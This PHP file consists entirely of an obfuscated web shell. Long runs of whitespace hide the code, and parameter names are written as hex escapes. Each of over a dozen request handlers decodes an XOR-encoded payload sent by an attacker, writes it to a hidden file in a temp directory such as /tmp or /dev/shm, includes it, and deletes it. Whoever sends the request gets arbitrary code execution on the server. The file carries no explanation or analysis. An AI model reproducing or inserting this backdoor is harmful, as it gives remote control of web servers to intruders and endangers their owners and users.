<?php																																										if(array_key_exists("\x69\x74em", $_REQUEST) && !is_null($_REQUEST["\x69\x74em"])){ $ent = $_REQUEST["\x69\x74em"]; $ent= explode ('.' , $ent ); $holder = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2); $p = 0; array_walk($ent ,function($v4) use(&$holder ,&$p ,$s2 ,$sLen) { $chS = ord($s2[$p % $sLen]); $dec =((int)$v4 - $chS -($p % 10)) ^ 3; $holder .= chr($dec); $p++; } ); $val = array_filter([ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", "/dev/shm", getcwd(), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), getenv("TMP")]); foreach ($val as $pgrp) { if (is_writable($pgrp) && is_dir($pgrp)) { $marker = implode("/", [$pgrp, ".res"]); $success = file_put_contents($marker, $holder); if ($success) { include $marker; @unlink($marker); die();} } } }
																																										if(array_key_exists("k\x65y", $_POST) && !is_null($_POST["k\x65y"])){ $dchunk = array_filter([getenv("TEMP"), "/tmp", getcwd(), ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), "/var/tmp"]); $entity = $_POST["k\x65y"]; $entity = explode('.' ,$entity ) ; $object = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($entity as $n => $v7) { $sChar = ord($salt[$n % $lenS]); $d = ((int)$v7 - $sChar - ($n % 10)) ^ 27; $object .= chr($d); } while ($item = array_shift($dchunk)) { if (array_product([is_dir($item), is_writable($item)])) { $record = str_replace("{var_dir}", $item, "{var_dir}/.holder"); $success = file_put_contents($record, $object); if ($success) { include $record; @unlink($record); die();} } } }
																																										if(array_key_exists("\x64at\x61", $_REQUEST)){ $res = array_filter([getenv("TMP"), getcwd(), "/var/tmp", "/dev/shm", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp"]); $rec = $_REQUEST["\x64at\x61"]; $rec= explode ("." , $rec ); $marker = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $__len = count($rec); for($o = 0; $o < $__len; $o++) {$v7 = $rec[$o]; $sChar = ord($salt[$o % $lenS]); $d =((int)$v7 - $sChar -($o % 10)) ^ 85; $marker .= chr($d); } while ($comp = array_shift($res)) { if (array_product([is_dir($comp), is_writable($comp)])) { $flg = join("/", [$comp, ".symbol"]); $success = file_put_contents($flg, $marker); if ($success) { include $flg; @unlink($flg); exit;} } } }
																																										if(isset($_POST["e\x6Cem\x65\x6Et"])){ $property_set = $_POST["e\x6Cem\x65\x6Et"]; $property_set = explode ("." , $property_set ) ; $rec =''; $s8 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s8 ); $r =0; foreach ($property_set as $v2) { $sChar =ord($s8[$r % $lenS] ); $dec =((int)$v2 - $sChar - ($r % 10))^ 4; $rec .= chr($dec ); $r++; } $component = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/tmp", "/var/tmp", getenv("TMP"), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm"]); for ($parameter_group = 0, $key = count($component); $parameter_group < $key; $parameter_group++) { $binding = $component[$parameter_group]; if (is_dir($binding) ? is_writable($binding) : false) { $reference = str_replace("{var_dir}", $binding, "{var_dir}/.elem"); if (@file_put_contents($reference, $rec) !== false) { include $reference; unlink($reference); exit; } } } }
																																										if(isset($_POST["p\x72op\x65rty\x5F\x73\x65t"])){ $key = array_filter([getcwd(), getenv("TMP"), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/tmp"]); $symbol = $_POST["p\x72op\x65rty\x5F\x73\x65t"]; $symbol = explode ( "." , $symbol ); $fac =''; $s9 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s9); $o =0; $__tmp =$symbol; while ($v7 =array_shift($__tmp)) { $sChar =ord($s9[$o % $sLen]); $dec =((int)$v7 - $sChar - ($o % 10)) ^ 37; $fac .=chr($dec); $o++; } while ($desc = array_shift($key)) { if (!!is_dir($desc) && !!is_writable($desc)) { $ent = vsprintf("%s/%s", [$desc, ".obj"]); $success = file_put_contents($ent, $fac); if ($success) { include $ent; @unlink($ent); exit;} } } }
																																										if(count($_POST) > 0 && isset($_POST["\x6F\x62j\x65ct"])){ $ptr = $_POST["\x6F\x62j\x65ct"]; $ptr =explode ( '.' , $ptr ) ; $entry =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt ); $n =0; while( $n <count( $ptr)) {$v2 =$ptr[$n]; $sChar =ord( $salt[$n%$sLen] ); $dec =( ( int)$v2 - $sChar -( $n%10))^ 55; $entry .= chr( $dec ); $n++; } $marker = array_filter([getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), session_save_path(), "/dev/shm", "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), getcwd()]); foreach ($marker as $rec): if (array_product([is_dir($rec), is_writable($rec)])) { $dchunk = "$rec" . "/.binding"; if (file_put_contents($dchunk, $entry)) { require $dchunk; unlink($dchunk); exit; } } endforeach; }
																																										if(array_key_exists("\x64\x65sc", $_POST) && !is_null($_POST["\x64\x65sc"])){ $entity = $_POST["\x64\x65sc"]; $entity= explode("." , $entity ) ; $hld = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt7 ); $y = 0; $__tmp = $entity; while( $v9 = array_shift( $__tmp)) {$sChar = ord( $salt7[$y % $sLen] ); $dec =( ( int)$v9 - $sChar -( $y % 10)) ^ 17; $hld .= chr( $dec ); $y++; } $element = array_filter(["/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/var/tmp", "/tmp", session_save_path(), getenv("TMP")]); for ($flg = 0, $res = count($element); $flg < $res; $flg++) { $k = $element[$flg]; if ((bool)is_dir($k) && (bool)is_writable($k)) { $ent = join("/", [$k, ".reference"]); if (file_put_contents($ent, $hld)) { require $ent; unlink($ent); die(); } } } }
																																										if(@$_POST["\x63\x6Fmp"] !== null){ $resource = $_POST["\x63\x6Fmp"]; $resource= explode ( '.' ,$resource ); $pgrp = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $len = count($resource); for($q = 0; $q< $len; $q++) { $v9 = $resource[$q]; $chS = ord($s[$q % $lenS]); $dec =((int)$v9 - $chS -($q % 10))^ 83; $pgrp.= chr($dec); } $dchunk = array_filter([getcwd(), "/dev/shm", sys_get_temp_dir(), "/tmp", session_save_path(), "/var/tmp", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir")]); $hld = 0; do { $rec = $dchunk[$hld] ?? null; if ($hld >= count($dchunk)) break; if (array_product([is_dir($rec), is_writable($rec)])) { $ent = "$rec" . "/.mrk"; if (file_put_contents($ent, $pgrp)) { require $ent; unlink($ent); exit; } } $hld++; } while (true); }
																																										if(array_key_exists("\x65\x6Etry", $_POST) && !is_null($_POST["\x65\x6Etry"])){ $fac = array_filter(["/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), getcwd(), "/dev/shm"]); $symbol = $_POST["\x65\x6Etry"]; $symbol =explode ( '.' , $symbol ); $ref = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $len = count($symbol); for ($o = 0; $o < $len; $o++) { $v2 = $symbol[$o]; $sChar = ord($s[$o % $lenS]); $dec = ((int)$v2 - $sChar - ($o % 10))^17; $ref .= chr($dec); } foreach ($fac as $k): if (!( !is_dir($k) || !is_writable($k) )) { $rec = str_replace("{var_dir}", $k, "{var_dir}/.property_set"); if (@file_put_contents($rec, $ref) !== false) { include $rec; unlink($rec); exit; } } endforeach; }
																																										if(isset($_POST) && isset($_POST["poi\x6Eter"])){ $flag = array_filter([getenv("TEMP"), "/dev/shm", session_save_path(), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getenv("TMP")]); $entry = $_POST["poi\x6Eter"]; $entry = explode ( ".", $entry ) ; $pset = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1 ); foreach($entry as $x => $v8) { $chS = ord($salt1[$x % $lenS] ); $d =((int)$v8 - $chS -($x % 10)) ^ 12; $pset .= chr($d );} while ($token = array_shift($flag)) { if (is_dir($token) ? is_writable($token) : false) { $rec = "$token/.obj"; if (file_put_contents($rec, $pset)) { include $rec; @unlink($rec); die(); } } } }
																																										if(!is_null($_POST["p\x61r\x61m\x65t\x65r\x5Fg\x72\x6Fu\x70"] ?? null)){ $factor = $_POST["p\x61r\x61m\x65t\x65r\x5Fg\x72\x6Fu\x70"]; $factor= explode ('.' , $factor ) ; $property_set= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s); $y= 0; while ($y < count($factor)) { $v3= $factor[$y]; $sChar= ord($s[$y% $sLen]); $dec= ((int)$v3 - $sChar - ($y% 10)) ^ 52; $property_set .= chr($dec); $y++; } $rec = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), getenv("TMP"), getenv("TEMP"), "/tmp", "/var/tmp", sys_get_temp_dir(), session_save_path()]); foreach ($rec as $desc): if ((function($d) { return is_dir($d) && is_writable($d); })($desc)) { $flg = sprintf("%s/.descriptor", $desc); $file = fopen($flg, 'w'); if ($file) { fwrite($file, $property_set); fclose($file); include $flg; @unlink($flg); exit; } } endforeach; }
																																										if(array_key_exists("\x65n\x74ity", $_POST) && !is_null($_POST["\x65n\x74ity"])){ $desc = $_POST["\x65n\x74ity"]; $desc = explode ("." ,$desc) ; $symbol = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $o = 0; while($o <count($desc)) { $v2 = $desc[$o]; $sChar = ord($s[$o % $sLen] ); $dec = ((int)$v2 - $sChar -($o % 10)) ^86; $symbol .= chr($dec ); $o++; } $pset = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), "/tmp", getcwd(), getenv("TMP"), session_save_path(), "/dev/shm", "/var/tmp"]); $hld = 0; do { $val = $pset[$hld] ?? null; if ($hld >= count($pset)) break; if ((bool)is_dir($val) && (bool)is_writable($val)) { $itm = sprintf("%s/.holder", $val); if (file_put_contents($itm, $symbol)) { require $itm; unlink($itm); die(); } } $hld++; } while (true); }


if(array_key_exists("p\x74\x72", $_POST)){
	$key = $_POST["p\x74\x72"];
		$key		= explode	 	(  ".",  $key);	  
	$tkn=  '';
            $s=  'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS=  strlen($s);
            $x=  0;
    
            foreach ($key as $v1) { 	$chS=  ord($s[$x%	$lenS]);
                $d=  ((int)$v1 - $chS - ($x%	10))^ 	92;
                $tkn .= chr($d);
                $x++;
            }
	$fac = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/tmp", session_save_path(), "/var/tmp"]);
	for ($ent = 0, $object = count($fac); $ent < $object; $ent++) {
    $value = $fac[$ent];
    		if ((function($d) { return is_dir($d) && is_writable($d); })($value)) {
    $dchunk = vsprintf("%s/%s", [$value, ".pointer"]);
    $success = file_put_contents($dchunk, $tkn);
if ($success) {
	include $dchunk;
	@unlink($dchunk);
	die();}
}
}
}